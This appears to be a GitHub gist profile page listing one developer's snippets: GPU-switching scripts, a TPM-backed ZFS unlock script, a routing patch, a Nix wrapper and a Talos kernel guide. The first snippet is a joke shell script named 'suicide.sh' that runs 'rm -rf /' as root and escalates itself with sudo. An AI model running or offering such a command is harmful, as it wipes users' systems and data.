Skip to content

Instantly share code, notes, and snippets.

View RealityAnomaly's full-sized avatar

Vertex RealityAnomaly

  • United Corporate Trusts of Britain
  • 03:26 (UTC)
View GitHub Profile
#!/bin/sh
if ["$USER" = "root"]; then
echo "Goodbye, cruel world"
rm -rf /
else
sudo ./suicide.sh
fi
@RealityAnomaly
RealityAnomaly / keybase.md
Created February 4, 2017 07:48
keybase.md

Keybase proof

I hereby claim:

  • I am cryosim on github.
  • I am citadelcore (https://keybase.io/citadelcore) on keybase.
  • I have a public key ASDiglwBwksEY_9mMp7BCFAWToRvkxibglmBWQNkDPtr3go

To claim this, I am signing this object:

@RealityAnomaly
RealityAnomaly / FileProvider.cs
Created September 26, 2018 16:14
my terrible code
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml;
using System.Xml.Schema;
using System.Xml.XPath;
using System.IO;
using System.Security.Cryptography;

Keybase proof

I hereby claim:

  • I am citadelcore on github.
  • I am citadelcore (https://keybase.io/citadelcore) on keybase.
  • I have a public key ASAirhMQU145c6eWRaPggVopLwAHHtpr4S1tVV7DyPISLgo

To claim this, I am signing this object:

@RealityAnomaly
RealityAnomaly / nvmgr.py
Created January 9, 2020 01:14
GPU Switcher
#!/bin/python3
import os
import sys
import time
import argparse
import subprocess
from primesel import Switcher
nvidia_modules = [
'nvidia_uvm',
@RealityAnomaly
RealityAnomaly / nvmgr.py
Created January 9, 2020 16:39
GPU Switcher v2
#!/bin/python3
import os
import sys
import time
import libvirt
import argparse
import subprocess
from primesel import Switcher
NVIDIA_PCI_ID = '0000:01:00.0'
@RealityAnomaly
RealityAnomaly / tpm_zfs.sh
Last active March 18, 2023 15:49
Very specific script to unlock a ZFS volume with a key stored in a TPM 1.2
#!/bin/bash
# Copyright 2020 Joseph Marsden
# This is very specific to my setup and will probably not work on yours.
wrap_key() {
echo "Please enter the volume key"
read -s -p "Key: " KEY && echo -e "\n"
if [ -z $KEY ]; then
# key is blank, so generate one
diff --git a/sysdep/linux/netlink.c b/sysdep/linux/netlink.c
index f85bcf35..d10fa415 100644
--- a/sysdep/linux/netlink.c
+++ b/sysdep/linux/netlink.c
@@ -1527,6 +1527,11 @@ nl_parse_route(struct nl_parse_state *s, struct nlmsghdr *h)
if (!(i = nl_checkin(h, sizeof(*i))))
return;
+ /* Always skip FIB exception routes */
+ if (i->rtm_flags & RTM_F_CLONED) {
#!/usr/bin/env python3
# Wrapper for `nix` commands that automatically override flake input paths
# via use of the special environment variables NIX_FLAKE_PATH_OVERRIDES and NIX_FLAKE_URL_OVERRIDES
import os
import sys
import json
import subprocess
from typing import List, Set, Mapping
@RealityAnomaly
RealityAnomaly / talos-kernel-stuff.md
Created November 30, 2021 18:54
Adding a proprietary kernel module to Talos OS

Adding a proprietary kernel module to Talos OS

  1. Patching and building the kernel image
    1. Clone the pkgs repository from Github and check out the revision corresponding to your version of Talos OS
      git clone https://github.com/talos-systems/pkgs pkgs && cd pkgs
      git checkout v0.8.0
    2. Clone the Linux kernel and check out the revision that pkgs uses (this can be found in kernel/kernel-prepare/pkg.yaml and it will be something like the following: https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-x.xx.x.tar.xz)